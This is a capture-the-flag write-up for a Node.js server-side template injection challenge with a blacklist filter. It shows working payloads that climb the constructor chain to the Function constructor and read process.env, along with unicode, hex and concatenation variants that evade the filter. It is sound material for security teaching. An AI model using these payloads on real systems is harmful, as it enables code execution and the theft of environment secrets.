Challenge Overview
Recognition Roulette is a 400-point web security challenge from the Buna Byte CTF public challenges. BinaryCorp's employee recognition portal is protected by a blacklist filter. The goal: bypass the filter, access the prototype chain, and extract the flag from the server environment.
- Category: Web Security
- Points: 400
- Solves: 21
- Challenge Link: Recognition Roulette on Buna Byte CTF
Overview of the challenge website
Initial Reconnaissance
The challenge looks like it could be either stored XSS or Server-Side Template Injection (SSTI). The first step is to identify which one we're dealing with.
The classic SSTI detection method is to inject a math expression inside template delimiters and see if the server evaluates it.
Testing for SSTI
Trying the standard Jinja2/Nunjucks test:
{{7*7}}
Trying the standard Jinja2/Nunjucks test
The input gets processed, confirming SSTI is in play. But the application has a blacklist filter that blocks many common template syntaxes:
${7*7}→ Blocked<%=7*7%>→ Blocked[[7*7]]→ Blocked{%if true%}→ Blocked
Hint from the server
Finding the Hint
When you inspect the source code of the main page, there's a hidden hint. Checking the URL reveals a hint page with two critical pieces of information:
- "Extract the flag from server environment (
CTF_FLAG)" - "The filter checks strings before they're executed. Think about JavaScript operations that happen at runtime."
This tells us the backend is running Node.js with a JavaScript-based template engine, and the filter is a static string check — meaning we need to construct our payload in a way that only resolves at runtime.
Bypass Techniques
Since the filter performs static string matching before execution, we need operations that assemble dangerous strings at runtime. Three common bypass techniques for this scenario:
- Unicode Escape Sequences — represent characters as
\uXXXX - Hex Encoding — represent characters in hex notation
- String Concatenation — build blocked keywords from fragments
Understanding the Prototype Chain
In JavaScript, every object has a constructor property that points to the function that created it. This gives us a path from any innocent value up to the Function constructor, which can execute arbitrary code.
Here's the chain:
''— an empty string (completely harmless to the filter)''.constructor— gives us theStringconstructor''.constructor.constructor— gives us theFunctionconstructor (the brain of Node.js)
With the Function constructor, we can create and execute any code we want.
The Payload
{{''.constructor.constructor('return process')().env.CTF_FLAG}}Breaking It Down Step by Step
// Step 1: Start with an innocent empty string
''
// Step 2: Access the String constructor (who created this string?)
''.constructor // → [Function: String]
// Step 3: Access the Function constructor (who created String?)
''.constructor.constructor // → [Function: Function]
// Step 4: Create a function that returns the process object
''.constructor.constructor('return process') // → function() { return process }
// Step 5: Execute that function to get the process object
''.constructor.constructor('return process')() // → process
// Step 6: Access the environment variables and grab the flag
''.constructor.constructor('return process')().env.CTF_FLAG // → flag!The filter never sees keywords like process, env, or require in the raw input because they only exist as a string argument to the Function constructor — they're evaluated at runtime, after the filter has already approved the input.
Why This Works
The blacklist filter scans the template string for dangerous patterns before it gets executed. But our payload is sneaky:
''is just an empty string — nothing dangerous.constructoris a property access — the filter doesn't block it'return process'is just a string literal being passed as an argument- The actual dangerous operation (accessing
process.env) only happens when the constructed function executes
The filter checks strings before they're executed, but JavaScript's prototype chain lets us build code that only becomes dangerous at execution time.
Alternative Approaches
If the basic constructor chain doesn't work, try combining it with the bypass techniques:
Unicode Escape Sequences
{{''.constructor.constructor('return pro\u0063ess')().env.CTF_FLAG}}String Concatenation
{{''.constructor.constructor('return pro'+'cess')().env.CTF_FLAG}}Hex Encoding
{{''.constructor.constructor('return proc\x65ss')().env.CTF_FLAG}}
successfully captured the flag
Key Takeaways
- Always test for SSTI when user input appears to be reflected or processed server-side
- Blacklist filters that check input statically can be bypassed by runtime operations
- JavaScript's prototype chain provides a reliable path from any object to code execution
- The
constructor.constructorpattern is a fundamental SSTI bypass for Node.js template engines - When one delimiter syntax is blocked, try others — the engine may support multiple formats
[!WARNING] This writeup is for educational purposes. Only test these techniques on systems you own or have explicit authorization to test. Unauthorized access to computer systems is illegal.




